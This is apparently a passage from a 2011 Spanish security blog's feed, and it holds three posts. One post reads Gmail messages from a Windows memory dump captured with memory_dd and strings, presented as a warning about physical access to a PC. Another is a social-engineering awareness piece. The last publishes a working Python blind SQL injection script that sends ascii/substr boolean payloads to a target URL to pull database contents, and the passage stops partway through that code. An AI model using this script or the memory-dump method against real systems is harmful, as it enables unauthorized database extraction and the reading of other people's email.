&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbPeWoAhcmvd2-gACuvtGC63gHIOcDp3u1qfPIPQkIl0j9U2i0pmi8o9YdCzOYyxHVVDI6qDyRpEUzl2MPsaESma9GrRf3qGngYqKa1wwiNuhCSvb8qJASl_KtUlbBW4tdThOJczWdO0w/s1600/11.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;438&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbPeWoAhcmvd2-gACuvtGC63gHIOcDp3u1qfPIPQkIl0j9U2i0pmi8o9YdCzOYyxHVVDI6qDyRpEUzl2MPsaESma9GrRf3qGngYqKa1wwiNuhCSvb8qJASl_KtUlbBW4tdThOJczWdO0w/s640/11.JPG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Desconectamos la cuenta:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-UDfzIidEWDzaoLiRQw9PHsEkj_VXLiF6moMdngJFDDUhFug7SSbWMjVjxYeeleig8GamkVAc0x3Jj_nNy5SCaFTTYnq_p-oioLS-lTMiGATwW5WbLCHQEcITOQhLvrwlEB-7Sbq4894/s1600/4.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;438&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-UDfzIidEWDzaoLiRQw9PHsEkj_VXLiF6moMdngJFDDUhFug7SSbWMjVjxYeeleig8GamkVAc0x3Jj_nNy5SCaFTTYnq_p-oioLS-lTMiGATwW5WbLCHQEcITOQhLvrwlEB-7Sbq4894/s640/4.JPG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Ahora ejecutamos el programita memory_dd en la consola de windows junto con la opcion -o para guardar el resultado con el nombre memory.dmp (por poner algo . algo):&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggKthKPfiYzgJgCQ430J1O44LF2WvcgH7RMZT1BTtrH11kBv7z_SdZJtEfx9eXhI8I1NnD7Ou0Bx0hcuZG0FKy4NE99jcTaMfLiRJuuAfvQRoMOxavCU_oSMhs5e6GmcTVhyphenhyphenwxhMSyYlg/s1600/13bueno.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;438&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggKthKPfiYzgJgCQ430J1O44LF2WvcgH7RMZT1BTtrH11kBv7z_SdZJtEfx9eXhI8I1NnD7Ou0Bx0hcuZG0FKy4NE99jcTaMfLiRJuuAfvQRoMOxavCU_oSMhs5e6GmcTVhyphenhyphenwxhMSyYlg/s640/13bueno.JPG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Aquí&amp;nbsp;se&amp;nbsp;debería&amp;nbsp;guardar el&amp;nbsp;código&amp;nbsp;MD5 si&amp;nbsp;estuviéramos&amp;nbsp;en una&amp;nbsp;investigación&amp;nbsp;Forense oficial, para luego compararlo con el archivo final y poder demostrar que nada ha cambiado. Bueno y se copia el archivo resultante a mi maquina con Ubuntu.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0vp5O6ZIz2ufOt28_HwaHlwzru3mI4gy4b8yt5iO5L08D5xiHC5_5O7p2rjKSv1NsswlJT-GcApWVyb1J6hZ9Hm4bfA2aH5NvHMXUarlGw6RopOCtWdw1fNdrV0D7HowNga5U1q8Nx24/s1600/6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;440&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0vp5O6ZIz2ufOt28_HwaHlwzru3mI4gy4b8yt5iO5L08D5xiHC5_5O7p2rjKSv1NsswlJT-GcApWVyb1J6hZ9Hm4bfA2aH5NvHMXUarlGw6RopOCtWdw1fNdrV0D7HowNga5U1q8Nx24/s640/6.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Una vez&amp;nbsp;aquí, procedemos a usar el comando strings seguido del nombre del archivo &amp;gt; nombre del archivo final,&amp;nbsp;quedaría&amp;nbsp;así&amp;nbsp;&quot;strings memory.dmp &amp;gt; memory.txt&quot; para conseguir extraer todos los caracteres ASCII de ese archivo y guardarlos linea a linea en un archivo llamado memory.txt (mucho mas&amp;nbsp;fácil&amp;nbsp;para examinarlo que mirar el&amp;nbsp;código&amp;nbsp;Hexadecimal):&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7_Excs9hdOu724EC8A0u4RPZQt4P5-0EfuvewAUZ1E2x0JrgIPJ587zOrGx4Jp0FWOnrj5s6GUYhfYl0eLulo-Cpw5QimwT5If3tMyIQVI-SkeNUgBtdb73gCsZBqU8aJDawE-yw8Uws/s1600/7.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;416&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7_Excs9hdOu724EC8A0u4RPZQt4P5-0EfuvewAUZ1E2x0JrgIPJ587zOrGx4Jp0FWOnrj5s6GUYhfYl0eLulo-Cpw5QimwT5If3tMyIQVI-SkeNUgBtdb73gCsZBqU8aJDawE-yw8Uws/s640/7.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&amp;nbsp;Y finalmente buscando la cadena&amp;nbsp;\\u003e (que es la forma en la que empiezan los correos en gmail) dentro de ese documento de texto, encontramos lo siguiente&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinPVZsJemB6UBvgUmEO17nLpyuRp_eXQ-xj2t5YIasTdXD6TCQhpHY9fgtPDhxV-w8Pm3ecvw7AiR5krQIHD4cLQcluWqhND1HPa7MUj74_Rzjmo3zzJSVjgb2E_jRHLutiVs7EmZCH7U/s1600/14.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;488&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinPVZsJemB6UBvgUmEO17nLpyuRp_eXQ-xj2t5YIasTdXD6TCQhpHY9fgtPDhxV-w8Pm3ecvw7AiR5krQIHD4cLQcluWqhND1HPa7MUj74_Rzjmo3zzJSVjgb2E_jRHLutiVs7EmZCH7U/s640/14.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Hemos conseguido leer un email recibido y otro enviado sin necesitar la password de la cuenta. Esto solo es una pequeña muestra de lo que se puede conseguir con acceso fisico a un PC.&lt;br /&gt;
&lt;br /&gt;
Por esta&amp;nbsp;razón&amp;nbsp;y por algunas otras mas que&amp;nbsp;iré&amp;nbsp;comentando,&amp;nbsp;deberíais&amp;nbsp;pensarlo dos veces antes de dejar a un desconocido vuestro pc encendido, o... de dejar encendido el pc de un CiberCafe&amp;nbsp;después&amp;nbsp;de haber iniciado&amp;nbsp;sesión&amp;nbsp;en vuestras cuentas de correo, msn, facebook, etc...&lt;br /&gt;
&lt;br /&gt;
Un abrazo, seguiremos informando!</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/3972491681705075003/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2011/12/por-que-no-dejarle-alguien-tu-pc.html#comment-form' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/3972491681705075003'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/3972491681705075003'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2011/12/por-que-no-dejarle-alguien-tu-pc.html' title='Por que no dejarle a alguien tu PC encendido.'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixgl5i1W9JSLJBzJzBQLV_8LItNLjH7W6pl7tWHsq7Fo0PgdAlHUAnrRxNdMpIJQe3hEap1G9PnthOxLk1Su__jW5hL5OA2NSCfmLCymo_DfqatRdiljHlZn84-AgRdoKIUIwlmO28pvs/s72-c/1.JPG" height="72" width="72"/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-3749710680399577613</id><published>2011-12-13T23:56:00.000+01:00</published><updated>2011-12-14T00:03:02.855+01:00</updated><title type='text'>Seguridad Informática mal enfocada. Ing. Social Parte 1.</title><content type='html'>&lt;br /&gt;
&lt;br /&gt;
Buenas, llevo bastante tiempo sin escribir y eso es porque no he sabido encontrar el tema del que hablar (estoy abierto a sugerencias) pero hay algo que me resulta curioso, la forma en la que la gente &quot;piensa&quot; que toma medidas de seguridad informatica.&lt;br /&gt;
&lt;br /&gt;
Si tu preguntas a cualquier usuario normal y corriente por como intenta proteger su ordenador siempre te&amp;nbsp;dirá&amp;nbsp;lo mismo (he preguntado a dos personas y las dos han respondido la mismo xD) &amp;nbsp;pues tengo tal antivirus o tal otro antivirus o tal y tal firewall...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Muy bien todo esto esta bastante bien, pero la principal forma de Defender tu equipo eres tu. Y es algo que la gente no comprende bien, de hecho el&amp;nbsp;eslabón&amp;nbsp;mas&amp;nbsp;débil&amp;nbsp;de la seguridad&amp;nbsp;informática&amp;nbsp;es el usuario final.&lt;br /&gt;
&lt;br /&gt;
De que te sirve tener 200 programas para proteger tu equipo si a la primera chica que aparece en un chat, le das tu contraseña tras&amp;nbsp;insistir&amp;nbsp;un poco (esto es un poco exagerado pero ya sabes a que me refiero). O de que te sirve tener un super Antivirus si abres una&amp;nbsp;aplicación&amp;nbsp;salta una ventana de advertencia y sin ni siquiera leerla le das a ejecutar? O de que te sirve el firewall si bloquea las conexiones, y el tercer dia que lo tienes puesto, estas cansado de aceptar peticiones de&amp;nbsp;conexión&amp;nbsp;y aceptas todas por defecto en X puerto?&lt;br /&gt;
&lt;br /&gt;
Al final todo se reduce a lo que tu hagas,&amp;nbsp;así&amp;nbsp;que ten cuidado por que puedes tener el mejor Antivirus del mercado unido al mejor Firewall y con el Sistema Operativo totalmente parcheado pero si tu ejecutas un programa y el antivirus te avisa y pasas de el, el firewall te avisa y pasas de el, de que te sirven? y ya no digo nada de los programas (exploits en nuestro argot) que explotan vulnerabilidades nuevas y permiten ejecutar&amp;nbsp;código&amp;nbsp;sin que el usuario final vea nada, de eso nadie esta protegido NUNCA, y al fin y al cabo todo se trata de&amp;nbsp;cuestión&amp;nbsp;de probabilidad igual de que te roben en la calle.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La seguridad&amp;nbsp;informática&amp;nbsp;es un tema en el que por mucho que sepas siempre iras un paso por&amp;nbsp;detrás&amp;nbsp;de alguien,&amp;nbsp;así&amp;nbsp;que cuidado con los links que seguimos en internet, o los programas que ejecutamos (el tipico crack para ejecutar un programa que te has bajado de internet) NADIE da duros a pesetas y todos esos programitas llevan premio.&lt;br /&gt;
&lt;br /&gt;
Este es el primer post en plan concienciacion de una serie de post sobre&amp;nbsp;Ingeniería&amp;nbsp;Social y sobre todo como evitarla, con casos&amp;nbsp;prácticos en Maquinas Virtuales (Un ordenador dentro de un ordenador para el que no lo entienda)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/3749710680399577613/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2011/12/seguridad-informatica-siempre-mal.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/3749710680399577613'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/3749710680399577613'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2011/12/seguridad-informatica-siempre-mal.html' title='Seguridad Informática mal enfocada. Ing. Social Parte 1.'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-6740326856853759102</id><published>2011-08-11T18:03:00.000+02:00</published><updated>2011-09-23T11:24:34.664+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="blind sqli"/><category scheme="http://www.blogger.com/atom/ns#" term="programa blind sqli"/><category scheme="http://www.blogger.com/atom/ns#" term="sql injection"/><category scheme="http://www.blogger.com/atom/ns#" term="sqli"/><title type='text'>Auto Blind SQL Injection</title><content type='html'>&lt;br /&gt;
Buenas amigos, voy a publicar (creo que por primera vez) mi programa para &quot;automatizar&quot; las injecciones blind sql.&lt;br /&gt;
He tratado de hacerlo lo mas &quot;fácil&quot; posible para ser usado sin complicacion.&lt;br /&gt;
&lt;br /&gt;
Meda igual que lo molifiquéis el programa pero si lo hacéis por favor comentarme vuestros cambios y el por que, así aprendemos todos ;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
&lt;br /&gt;
import os,urllib2,re,time,sys&lt;br /&gt;
&lt;br /&gt;
# Contamos las lineas de la pagina, varias veces para comprobar que sea estable&lt;br /&gt;
# Count the lines from the webpage, a couple of times to check if it&#39;s stable&lt;br /&gt;
&lt;br /&gt;
def comprobar(url):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;tam = 0&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;for x in range(11):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;pagina = urllib2.urlopen(url+&quot;%20and%201%20like%200&quot;).read()&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;pct = (100*x)/11&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;os.system(&quot;clear&quot;)&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;print str(pct)+&quot;% Completed&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;if(x == 0):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;tam = len(pagina)&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;if(len(pagina) != tam):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;print &quot;The Webpage isn&#39;t Stable&quot;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;return False&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;break&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;return tam&lt;br /&gt;
&lt;br /&gt;
# Automatizamos el proceso para sacar la query&lt;br /&gt;
&lt;br /&gt;
def automata(url,tam):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print &quot;Wich select do you want to extract?&quot;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print &quot;Just remember only 1 row and colum per SELECT&quot;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;print &quot;Example: SELECT user FROM users limit 0,1&quot;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;entrada = raw_input(&quot;So lets see your SELECT &amp;gt;&amp;gt; &quot;)&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;max_letras = raw_input(&quot;How many letters do you think it has? &amp;gt;&amp;gt; &quot;)&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;max_letras = int(max_letras)&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;payload = &quot;%20and%20ascii(substr(&quot;+entrada+&quot;,FIZZ,1))&amp;gt;=FUZZ%20and%20ascii(substr(&quot;+entrada+&quot;,FIZZ,1))&amp;lt;FAZZ&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;letra = []&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;resultado = &quot;&quot;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;for y in range(max_letras):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;letra.append(0)&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;for x in range(max_letras):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;for i in range(0,300,100):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;payload_final = str.replace(payload,&#39;FUZZ&#39;,str(i))&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;payload_final = str.replace(payload_final,&#39;FAZZ&#39;,str(i+100))&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;payload_final = str.replace(payload_final,&#39;FIZZ&#39;,str(x+1))&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;pagina = urllib2.urlopen(url+payload_final).read()&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;print len(pagina)&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;if(tam != len(pagina)):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;letra[x] = i&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;break&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;pct = (100*1)/5&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;print str(pct)+&quot;% Completed&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;for i in range(int(letra[x]),int(letra[x])+100,50):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;payload_final = str.replace(payload,&#39;FUZZ&#39;,str(i))&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;payload_final = str.replace(payload_final,&#39;FAZZ&#39;,str(i+50))&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;payload_final = str.replace(payload_final,&#39;FIZZ&#39;,str(x+1))&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;pagina = urllib2.urlopen(url+payload_final).read()&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;if(tam != len(pagina)):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;letra[x] = i&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;break&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;pct = (100*2)/5&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;print str(pct)+&quot;% Completed&quot;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;for i in range(int(letra[x]),int(letra[x])+50,10):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;payload_final = str.replace(payload,&#39;FUZZ&#39;,str(i))&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;payload_final = str.replace(payload_final,&#39;FAZZ&#39;,str(i+10))&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;payload_final = str.replace(payload_final,&#39;FIZZ&#39;,str(x+1))&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;pagina = urllib2.urlopen(url+payload_final).read()&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;if(tam != len(pagina)):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;letra[x] = i&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;break&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;pct = (100*3)/5&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;print str(pct)+&quot;% Completed&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;for i in range(int(letra[x]),int(letra[x])+10,5):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;payload_final = str.replace(payload,&#39;FUZZ&#39;,str(i))&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;payload_final = str.replace(payload_final,&#39;FAZZ&#39;,str(i+5))&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;payload_final = str.replace(payload_final,&#39;FIZZ&#39;,str(x+1))&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;pagina = urllib2.urlopen(url+payload_final).read()&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;if(tam != len(pagina)):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;letra[x] = i&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;break&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;pct = (100*4)/5&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;print str(pct)+&quot;% Completed&quot;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;for i in range(int(letra[x]),int(letra[x])+5,1):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;payload_final = str.replace(payload,&#39;FUZZ&#39;,str(i))&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;payload_final = str.replace(payload_final,&#39;FAZZ&#39;,str(i+1))&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;payload_final = str.replace(payload_final,&#39;FIZZ&#39;,str(x+1))&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;pagina = urllib2.urlopen(url+payload_final).read()&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;if(tam != len(pagina)):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;letra[x] = i&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;resultado = resultado+chr(i)&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;break&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;pct = (100*5)/5&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;print str(pct)+&quot;% Completed&quot;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;os.system(&quot;clear&quot;)&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;print &quot;Your query give as result: &quot;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;print resultado&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;return resultado&lt;br /&gt;
&lt;br /&gt;
if(len(sys.argv) &amp;gt; 1):&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;tam = comprobar(sys.argv[1])&lt;br /&gt;
